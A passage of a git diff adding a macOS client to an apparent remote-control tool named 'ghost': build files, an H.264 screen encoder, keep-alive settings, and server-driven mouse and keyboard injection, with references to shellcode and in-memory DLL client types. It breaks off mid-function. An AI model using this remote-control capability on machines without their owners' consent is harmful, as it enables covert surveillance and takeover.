diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 6d703e4..e15ac45 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) return FALSE; } +#ifdef __APPLE__ + // macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE) + setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec)); +#else // 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包) if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { Mprintf("Failed to set TCP_KEEPIDLE\n"); @@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) Mprintf("Failed to set TCP_KEEPCNT\n"); return FALSE; } +#endif Mprintf("TCP keep-alive settings applied successfully\n"); return TRUE; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 88c2e4c..a6848cd 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -78,7 +78,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, // C2C 初始化 if (conn) m_MyClientID = conn->clientID; // 恢复并启动 SCH_MODE_STARTUP 模式的 DLL - int n = RestoreMemDLL(); + static int n = RestoreMemDLL(); if (n) { Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n); } diff --git a/common/aes.c b/common/aes.c index 6b26ead..9473e45 100644 --- a/common/aes.c +++ b/common/aes.c @@ -1,6 +1,6 @@ /* -This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. +This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode. Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. The implementation is verified against the test vectors in: @@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) { KeyExpansion(ctx->RoundKey, key); } -#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) { KeyExpansion(ctx->RoundKey, key); @@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) -#if defined(CTR) && (CTR == 1) +#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1) /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) @@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) } } -#endif // #if defined(CTR) && (CTR == 1) +#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1) diff --git a/common/aes.h b/common/aes.h index 31f072d..3916290 100644 --- a/common/aes.h +++ b/common/aes.h @@ -7,7 +7,7 @@ // #define the macros below to 1/0 to enable/disable the mode of operation. // // CBC enables AES encryption in CBC-mode of operation. -// CTR enables encryption in counter-mode. +// AES_MODE_CTR enables encryption in counter-mode. // ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously. // The #ifndef-guard allows it to be configured before #include'ing or at compile time. @@ -19,8 +19,8 @@ #define ECB 1 #endif -#ifndef CTR -#define CTR 1 +#ifndef AES_MODE_CTR +#define AES_MODE_CTR 1 #endif @@ -43,13 +43,13 @@ struct AES_ctx { uint8_t RoundKey[AES_keyExpSize]; -#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)) uint8_t Iv[AES_BLOCKLEN]; #endif }; void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key); -#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)) void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv); void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); #endif @@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); #endif // #if defined(CBC) && (CBC == 1) -#if defined(CTR) && (CTR == 1) +#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1) // Same function for encrypting as for decrypting. // IV is incremented for every block, and used after encryption as XOR-compliment for output @@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); // no IV should ever be reused with the same key void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); -#endif // #if defined(CTR) && (CTR == 1) +#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1) #endif // _AES_H_ diff --git a/common/commands.h b/common/commands.h index 6af5b69..d2eae00 100644 --- a/common/commands.h +++ b/common/commands.h @@ -41,7 +41,10 @@ typedef int64_t __int64; typedef uint16_t WORD; typedef uint32_t DWORD; -typedef int BOOL, SOCKET; +#ifndef BOOL +typedef bool BOOL; +#endif +typedef int SOCKET; typedef unsigned int ULONG; typedef unsigned int UINT; typedef void VOID; @@ -533,6 +536,7 @@ enum { CLIENT_TYPE_SHELLCODE = 4, // Shellcode CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行 CLIENT_TYPE_LINUX = 6, // LINUX 客户端 + CLIENT_TYPE_MACOS = 7, // MACOS 客户端 }; enum { @@ -558,6 +562,8 @@ inline const char* GetClientType(int typ) return "MDLL"; case CLIENT_TYPE_LINUX: return "LNX"; + case CLIENT_TYPE_MACOS: + return "MAC"; default: return "DLL"; } diff --git a/macos/CMakeLists.txt b/macos/CMakeLists.txt new file mode 100644 index 0000000..d3bd762 --- /dev/null +++ b/macos/CMakeLists.txt @@ -0,0 +1,73 @@ +cmake_minimum_required(VERSION 3.15) +project(ghost_macos) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED ON) + +# macOS deployment target +set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version") + +# Universal Binary (Intel + Apple Silicon) +set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures") + +include_directories(../) +include_directories(../client) +include_directories(../compress) + +# Source files +set(SOURCES + main.mm + ../client/Buffer.cpp + ../client/IOCPClient.cpp + ScreenHandler.mm + InputHandler.mm + SystemManager.mm + Permissions.mm + H264Encoder.mm +) + +# Create executable +add_executable(ghost ${SOURCES}) + +# Include directories +target_include_directories(ghost PRIVATE + ${CMAKE_CURRENT_SOURCE_DIR} +) + +# Find and link macOS frameworks +find_library(COCOA_FRAMEWORK Cocoa REQUIRED) +find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED) +find_library(IOKIT_FRAMEWORK IOKit REQUIRED) +find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED) +find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED) +find_library(SECURITY_FRAMEWORK Security REQUIRED) +find_library(CARBON_FRAMEWORK Carbon REQUIRED) +find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED) +find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED) +find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED) + +target_link_libraries(ghost PRIVATE + ${COCOA_FRAMEWORK} + ${COREGRAPHICS_FRAMEWORK} + ${IOKIT_FRAMEWORK} + ${IOSURFACE_FRAMEWORK} + ${APPLICATIONSERVICES_FRAMEWORK} + ${SECURITY_FRAMEWORK} + ${CARBON_FRAMEWORK} + ${VIDEOTOOLBOX_FRAMEWORK} + ${COREMEDIA_FRAMEWORK} + ${COREVIDEO_FRAMEWORK} + "${CMAKE_SOURCE_DIR}/lib/libzstd.a" +) + +# Compiler flags +target_compile_options(ghost PRIVATE + -Wall + -Wextra + -fobjc-arc +) + +# Output directory +set_target_properties(ghost PROPERTIES + RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin +) diff --git a/macos/H264Encoder.h b/macos/H264Encoder.h new file mode 100644 index 0000000..cc3b367 --- /dev/null +++ b/macos/H264Encoder.h @@ -0,0 +1,86 @@ +#pragma once + +#include +#include +#include +#include +#import +#import + +class H264Encoder { +public: + H264Encoder(); + ~H264Encoder(); + + // Initialize encoder + // @param width: frame width + // @param height: frame height + // @param fps: target frame rate + // @param bitrate: target bitrate in kbps (0 = auto) + bool open(int width, int height, int fps, int bitrate = 0); + + // Close encoder and release resources + void close(); + + // Check if encoder is open + bool isOpen() const { return m_session != nullptr; } + + // Encode a frame + // @param bgra: BGRA pixel data (bottom-up or top-down) + // @param bpp: bits per pixel (32 for BGRA) + // @param stride: bytes per row + // @param width: frame width + // @param height: frame height + // @param outData: pointer to receive encoded data pointer + // @param outSize: pointer to receive encoded data size + // @param flipVertical: true if image is bottom-up (BMP format) + // @return: encoded size, or 0 on failure + int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride, + uint32_t width, uint32_t height, + uint8_t** outData, uint32_t* outSize, + bool flipVertical = true); + + // Force next frame to be keyframe + void forceKeyframe() { m_forceKeyframe = true; } + + // Get last error message + const char* getLastError() const { return m_lastError; } + +private: + // VideoToolbox compression callback + static void compressionCallback(void* outputCallbackRefCon, + void* sourceFrameRefCon, + OSStatus status, + VTEncodeInfoFlags infoFlags, + CMSampleBufferRef sampleBuffer); + + // Process encoded sample buffer + void processSampleBuffer(CMSampleBufferRef sampleBuffer); + + // Convert BGRA to I420 (YUV) + void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride, + uint32_t width, uint32_t height, + bool flipVertical); + +private: + VTCompressionSessionRef m_session; + + int m_width; + int m_height; + int m_fps; + int m_bitrate; + + // YUV buffers + std::vector m_yPlane; + std::vector m_uPlane; + std::vector m_vPlane; + + // Output buffer + std::vector m_outputBuffer; + std::mutex m_outputMutex; + + // State + std::atomic m_forceKeyframe; + int64_t m_frameCount; + char m_lastError[256]; +}; diff --git a/macos/H264Encoder.mm b/macos/H264Encoder.mm new file mode 100644 index 0000000..e136265 --- /dev/null +++ b/macos/H264Encoder.mm @@ -0,0 +1,521 @@ +#import "H264Encoder.h" +#import +#import +#import +#import + +H264Encoder::H264Encoder() + : m_session(nullptr) + , m_width(0) + , m_height(0) + , m_fps(30) + , m_bitrate(0) + , m_forceKeyframe(false) + , m_frameCount(0) +{ + m_lastError[0] = '\0'; +} + +H264Encoder::~H264Encoder() +{ + close(); +} + +bool H264Encoder::open(int width, int height, int fps, int bitrate) +{ + close(); + + // Width and height must be even for H264 + m_width = width & ~1; + m_height = height & ~1; + m_fps = fps > 0 ? fps : 30; + m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default + + // Allocate YUV buffers + int ySize = m_width * m_height; + int uvSize = (m_width / 2) * (m_height / 2); + m_yPlane.resize(ySize); + m_uPlane.resize(uvSize); + m_vPlane.resize(uvSize); + + // Reserve output buffer + m_outputBuffer.reserve(m_width * m_height); + + // Create compression session + CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable( + kCFAllocatorDefault, 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks + ); + + // Prefer hardware encoder + CFDictionarySetValue(encoderSpec, + kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder, + kCFBooleanTrue); + + // Source image attributes + CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable( + kCFAllocatorDefault, 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks + ); + + int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420 + CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat); + CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum); + CFRelease(pixelFormatNum); + + int32_t widthNum = m_width; + int32_t heightNum = m_height; + CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum); + CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum); + CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef); + CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef); + CFRelease(widthRef); + CFRelease(heightRef); + + // Create compression session + OSStatus status = VTCompressionSessionCreate( + kCFAllocatorDefault, + m_width, + m_height, + kCMVideoCodecType_H264, + encoderSpec, + sourceAttrs, + kCFAllocatorDefault, + compressionCallback, + this, + &m_session + ); + + CFRelease(encoderSpec); + CFRelease(sourceAttrs); + + if (status != noErr) { + snprintf(m_lastError, sizeof(m_lastError), + "VTCompressionSessionCreate failed: %d", (int)status); + NSLog(@"H264Encoder: %s", m_lastError); + return false; + } + + // Configure session properties + + // Real-time encoding + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue); + + // Profile: Baseline for compatibility + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel, + kVTProfileLevel_H264_Baseline_AutoLevel); + + // Allow frame reordering: false for low latency + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse); + + // Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds) + int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds + CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval); + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef); + CFRelease(keyframeRef); + + // Expected frame rate + CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps); + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef); + CFRelease(fpsRef); + + // Average bitrate + CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate); + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef); + CFRelease(bitrateRef); + + // Data rate limits (for more consistent bitrate) + // [bytes per second, duration in seconds] + int64_t dataRateLimit = m_bitrate / 8; + double duration = 1.0; + CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit); + CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration); + CFTypeRef limits[2] = { bytesRef, durationRef }; + CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks); + VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray); + CFRelease(bytesRef); + CFRelease(durationRef); + CFRelease(limitsArray); + + // Prepare to encode + status = VTCompressionSessionPrepareToEncodeFrames(m_session); + if (status != noErr) { + snprintf(m_lastError, sizeof(m_lastError), + "VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status); + NSLog(@"H264Encoder: %s", m_lastError); + close(); + return false; + } + + m_frameCount = 0; + m_forceKeyframe = true; // First frame is always keyframe + + NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d", + m_width, m_height, m_fps, m_bitrate); + + return true; +} + +void H264Encoder::close() +{ + if (m_session) { + VTCompressionSessionInvalidate(m_session); + CFRelease(m_session); + m_session = nullptr; + } + + m_yPlane.clear(); + m_uPlane.clear(); + m_vPlane.clear(); + m_outputBuffer.clear(); +} + +void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride, + uint32_t width, uint32_t height, + bool flipVertical) +{ + // Convert BGRA to I420 (YUV 4:2:0 planar) + // Y = 0.299*R + 0.587*G + 0.114*B + // U = -0.169*R - 0.331*G + 0.500*B + 128 + // V = 0.500*R - 0.419*G - 0.081*B + 128 + + uint8_t* yDst = m_yPlane.data(); + uint8_t* uDst = m_uPlane.data(); + uint8_t* vDst = m_vPlane.data(); + + int uvWidth = width / 2; + + for (uint32_t y = 0; y < height; y++) { + // Source row (handle vertical flip) + uint32_t srcY = flipVertical ? (height - 1 - y) : y; + const uint8_t* srcRow = bgra + srcY * stride; + + // Y plane destination + uint8_t* yRow = yDst + y * width; + + for (uint32_t x = 0; x < width; x++) { + uint8_t b = srcRow[x * 4 + 0]; + uint8_t g = srcRow[x * 4 + 1]; + uint8_t r = srcRow[x * 4 + 2]; + + // Y component + int yVal = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16; + yRow[x] = (uint8_t)(yVal < 0 ? 0 : (yVal > 255 ? 255 : yVal)); + } + + // UV planes (subsampled 2x2) + if (y % 2 == 0) { + uint8_t* uRow = uDst + (y / 2) * uvWidth; + uint8_t* vRow = vDst + (y / 2) * uvWidth; + + for (uint32_t x = 0; x < width; x += 2) { + // Average 2x2 block + uint32_t srcY2 = flipVertical ? (height - 2 - y) : (y + 1); + if (srcY2 >= height) srcY2 = srcY; + const uint8_t* srcRow2 = bgra + srcY2 * stride; + + int r = 0, g = 0, b = 0; + + // Top-left + b += srcRow[x * 4 + 0]; + g += srcRow[x * 4 + 1]; + r += srcRow[x * 4 + 2]; + + // Top-right + if (x + 1 < width) { + b += srcRow[(x + 1) * 4 + 0]; + g += srcRow[(x + 1) * 4 + 1]; + r += srcRow[(x + 1) * 4 + 2]; + } + + // Bottom-left + b += srcRow2[x * 4 + 0]; + g += srcRow2[x * 4 + 1]; + r += srcRow2[x * 4 + 2]; + + // Bottom-right + if (x + 1 < width) { + b += srcRow2[(x + 1) * 4 + 0]; + g += srcRow2[(x + 1) * 4 + 1]; + r += srcRow2[(x + 1) * 4 + 2]; + } + + r /= 4; + g /= 4; + b /= 4; + + // U component + int uVal = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128; + uRow[x / 2] = (uint8_t)(uVal < 0 ? 0 : (uVal > 255 ? 255 : uVal)); + + // V component + int vVal = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128; + vRow[x / 2] = (uint8_t)(vVal < 0 ? 0 : (vVal > 255 ? 255 : vVal)); + } + } + } +} + +int H264Encoder::encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride, + uint32_t width, uint32_t height, + uint8_t** outData, uint32_t* outSize, + bool flipVertical) +{ + if (!m_session) { + snprintf(m_lastError, sizeof(m_lastError), "Encoder not initialized"); + return 0; + } + + if (width != (uint32_t)m_width || height != (uint32_t)m_height) { + snprintf(m_lastError, sizeof(m_lastError), + "Frame size mismatch: expected %dx%d, got %dx%d", + m_width, m_height, (int)width, (int)height); + return 0; + } + + // Convert BGRA to I420 + convertBGRAtoI420(bgra, stride, width, height, flipVertical); + + // Create CVPixelBuffer + CVPixelBufferRef pixelBuffer = nullptr; + NSDictionary* options = @{ + (id)kCVPixelBufferIOSurfacePropertiesKey: @{} + }; + + CVReturn cvRet = CVPixelBufferCreate( + kCFAllocatorDefault, + m_width, + m_height, + kCVPixelFormatType_420YpCbCr8Planar, + (__bridge CFDictionaryRef)options, + &pixelBuffer + ); + + if (cvRet != kCVReturnSuccess) { + snprintf(m_lastError, sizeof(m_lastError), + "CVPixelBufferCreate failed: %d", (int)cvRet); + return 0; + } + + // Lock and copy YUV data + CVPixelBufferLockBaseAddress(pixelBuffer, 0); + + size_t planeCount = CVPixelBufferGetPlaneCount(pixelBuffer); + if (planeCount < 3) { + CVPixelBufferUnlockBaseAddress(pixelBuffer, 0); + CVPixelBufferRelease(pixelBuffer); + snprintf(m_lastError, sizeof(m_lastError), + "CVPixelBuffer has %zu planes, expected 3", planeCount); + return 0; + } + + // Y plane + uint8_t* yDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 0); + size_t yStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 0); + for (int y = 0; y < m_height; y++) { + memcpy(yDst + y * yStride, m_yPlane.data() + y * m_width, m_width); + } + + // U plane + uint8_t* uDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 1); + size_t uStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 1); + int uvHeight = m_height / 2; + int uvWidth = m_width / 2; + for (int y = 0; y < uvHeight; y++) { + memcpy(uDst + y * uStride, m_uPlane.data() + y * uvWidth, uvWidth); + } + + // V plane + uint8_t* vDst = (uint8_t*)CVPixelBufferGetBaseAddressOfPlane(pixelBuffer, 2); + size_t vStride = CVPixelBufferGetBytesPerRowOfPlane(pixelBuffer, 2); + for (int y = 0; y < uvHeight; y++) { + memcpy(vDst + y * vStride, m_vPlane.data() + y * uvWidth, uvWidth); + } + + CVPixelBufferUnlockBaseAddress(pixelBuffer, 0); + + // Prepare frame properties + CFMutableDictionaryRef frameProps = nullptr; + if (m_forceKeyframe.exchange(false)) { + frameProps = CFDictionaryCreateMutable( + kCFAllocatorDefault, 1, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks + ); + CFDictionarySetValue(frameProps, + kVTEncodeFrameOptionKey_ForceKeyFrame, + kCFBooleanTrue); + } + + // Clear output buffer + { + std::lock_guard lock(m_outputMutex); + m_outputBuffer.clear(); + } + + // Presentation timestamp + CMTime pts = CMTimeMake(m_frameCount++, m_fps); + + // Encode frame + OSStatus status = VTCompressionSessionEncodeFrame( + m_session, + pixelBuffer, + pts, + kCMTimeInvalid, + frameProps, + nullptr, + nullptr + ); + + if (frameProps) { + CFRelease(frameProps); + } + CVPixelBufferRelease(pixelBuffer); + + if (status != noErr) { + snprintf(m_lastError, sizeof(m_lastError), + "VTCompressionSessionEncodeFrame failed: %d", (int)status); + return 0; + } + + // Wait for encoding to complete + VTCompressionSessionCompleteFrames(m_session, kCMTimeInvalid); + + // Return encoded data + std::lock_guard lock(m_outputMutex); + if (m_outputBuffer.empty()) { + return 0; + } + + *outData = m_outputBuffer.data(); + *outSize = (uint32_t)m_outputBuffer.size(); + return (int)m_outputBuffer.size(); +} + +void H264Encoder::compressionCallback(void* outputCallbackRefCon, + void* sourceFrameRefCon, + OSStatus status, + VTEncodeInfoFlags infoFlags, + CMSampleBufferRef sampleBuffer) +{ + (void)sourceFrameRefCon; + (void)infoFlags; + + H264Encoder* encoder = (H264Encoder*)outputCallbackRefCon; + + if (status != noErr) { + NSLog(@"H264Encoder: Compression callback error: %d", (int)status); + return; + } + + if (!sampleBuffer) { + return; + } + + encoder->processSampleBuffer(sampleBuffer); +} + +void H264Encoder::processSampleBuffer(CMSampleBufferRef sampleBuffer) +{ + // Check if keyframe + CFArrayRef attachments = CMSampleBufferGetSampleAttachmentsArray(sampleBuffer, false); + bool isKeyframe = false; + if (attachments && CFArrayGetCount(attachments) > 0) { + CFDictionaryRef dict = (CFDictionaryRef)CFArrayGetValueAtIndex(attachments, 0); + CFBooleanRef notSync = (CFBooleanRef)CFDictionaryGetValue(dict, + kCMSampleAttachmentKey_NotSync); + isKeyframe = (notSync == nullptr || !CFBooleanGetValue(notSync)); + } + + std::lock_guard lock(m_outputMutex); + m_outputBuffer.clear(); + + // Get format description for SPS/PPS + CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer); + + // If keyframe, prepend SPS and PPS + if (isKeyframe && formatDesc) { + // Get SPS + size_t spsSize = 0; + size_t spsCount = 0; + const uint8_t* sps = nullptr; + OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex( + formatDesc, 0, &sps, &spsSize, &spsCount, nullptr); + + if (status == noErr && sps && spsSize > 0) { + // Write NAL start code + SPS + uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01}; + m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4); + m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize); + } + + // Get PPS + size_t ppsSize = 0; + size_t ppsCount = 0; + const uint8_t* pps = nullptr; + status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex( + formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr); + + if (status == noErr && pps && ppsSize > 0) { + // Write NAL start code + PPS + uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01}; + m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4); + m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize); + } + } + + // Get encoded data + CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer); + if (!blockBuffer) { + return; + } + + size_t totalLength = 0; + size_t lengthAtOffset = 0; + char* dataPointer = nullptr; + + OSStatus status = CMBlockBufferGetDataPointer( + blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer); + + if (status != noErr || !dataPointer) { + return; + } + + // Get NAL unit length size from format description (usually 4 bytes) + int nalLengthSize = 4; + if (formatDesc) { + int tmpNalLengthSize = 0; + status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex( + formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize); + if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) { + nalLengthSize = tmpNalLengthSize; + } + } + + // Convert AVCC format (length-prefixed) to Annex B (start code prefixed) + size_t offset = 0; + while (offset < totalLength) { + // Read NAL unit length (big-endian, variable size) + uint32_t nalLength = 0; + const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset; + for (int i = 0; i < nalLengthSize; i++) { + nalLength = (nalLength << 8) | lengthPtr[i]; + } + offset += nalLengthSize; + + if (nalLength > 0 && offset + nalLength <= totalLength) { + // Write NAL start code + uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01}; + m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4); + + // Write NAL data + m_outputBuffer.insert(m_outputBuffer.end(), + (uint8_t*)dataPointer + offset, + (uint8_t*)dataPointer + offset + nalLength); + } + + offset += nalLength; + } +} diff --git a/macos/InputHandler.h b/macos/InputHandler.h new file mode 100644 index 0000000..7dd3b4e --- /dev/null +++ b/macos/InputHandler.h @@ -0,0 +1,80 @@ +#pragma once + +#import +#include +#include + +// Windows message constants (for parsing server commands) +#define WM_MOUSEMOVE 0x0200 +#define WM_LBUTTONDOWN 0x0201 +#define WM_LBUTTONUP 0x0202 +#define WM_LBUTTONDBLCLK 0x0203 +#define WM_RBUTTONDOWN 0x0204 +#define WM_RBUTTONUP 0x0205 +#define WM_RBUTTONDBLCLK 0x0206 +#define WM_MBUTTONDOWN 0x0207 +#define WM_MBUTTONUP 0x0208 +#define WM_MBUTTONDBLCLK 0x0209 +#define WM_MOUSEWHEEL 0x020A + +#define WM_KEYDOWN 0x0100 +#define WM_KEYUP 0x0101 +#define WM_SYSKEYDOWN 0x0104 +#define WM_SYSKEYUP 0x0105 + +// Windows wheel delta extraction +#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16)) + +// MSG64 structure (compatible with Windows/Linux) +#pragma pack(push, 1) +struct MSG64_MAC { + uint64_t hwnd; + uint64_t message; + uint64_t wParam; + uint64_t lParam; + uint64_t time; + int32_t pt_x; + int32_t pt_y; +}; +#pragma pack(pop) + +class InputHandler { +public: + InputHandler(); + ~InputHandler(); + + // Initialize (checks accessibility permission) + bool init(); + + // Handle input event from server + void handleInputEvent(const MSG64_MAC* msg); + + // Check if accessibility permission is available + bool hasAccessibilityPermission() const { return m_hasPermission; } + +private: + // Mouse event helpers + void handleMouseMove(int x, int y); + void handleMouseButton(CGMouseButton button, bool down, int x, int y); + void handleMouseDoubleClick(CGMouseButton button, int x, int y); + void handleMouseWheel(int delta); + + // Keyboard event helpers + void handleKeyEvent(uint32_t vkCode, bool down); + + // Convert Windows VK code to macOS key code + static CGKeyCode vkToMacKeyCode(uint32_t vk); + +private: + std::atomic m_hasPermission{false}; + std::atomic m_warningLogged{false}; + + // Track button states for CGEvent (atomic for thread safety) + CGPoint m_lastMousePos; + std::atomic m_leftButtonDown{false}; + std::atomic m_rightButtonDown{false}; + std::atomic m_middleButtonDown{false}; + + // Track modifier key states for proper key event handling + std::atomic m_modifierFlags{0}; +}; diff --git a/macos/InputHandler.mm b/macos/InputHandler.mm new file mode 100644 index 0000000..6e3b6b8 --- /dev/null +++ b/macos/InputHandler.mm @@ -0,0 +1,399 @@ +#import "InputHandler.h" +#import "Permissions.h" +#import +#import +#include // for usleep + +InputHandler::InputHandler() + : m_lastMousePos(CGPointZero) +{ + // atomic members are initialized in class declaration +} + +InputHandler::~InputHandler() +{ +} + +bool InputHandler::init() +{ + m_hasPermission = Permissions::checkAccessibility(); + if (!m_hasPermission) { + NSLog(@"InputHandler: Accessibility permission not granted"); + // Request permission (shows system dialog) + Permissions::requestAccessibility(); + } + return m_hasPermission; +} + +void InputHandler::handleInputEvent(const MSG64_MAC* msg) +{ + if (!m_hasPermission) { + // Re-check permission + m_hasPermission = Permissions::checkAccessibility(); + if (!m_hasPermission) { + if (!m_warningLogged) { + NSLog(@"InputHandler: Cannot handle input - no accessibility permission"); + m_warningLogged = true; + } + return; + } + m_warningLogged = false; + } + + uint32_t message = (uint32_t)msg->message; + // Extract coordinates from lParam (MAKELPARAM format: low=x, high=y) + int x = (int)(msg->lParam & 0xFFFF); + int y = (int)((msg->lParam >> 16) & 0xFFFF); + + switch (message) { + // Mouse movement + case WM_MOUSEMOVE: + handleMouseMove(x, y); + break; + + // Left button + case WM_LBUTTONDOWN: + handleMouseButton(kCGMouseButtonLeft, true, x, y); + break; + case 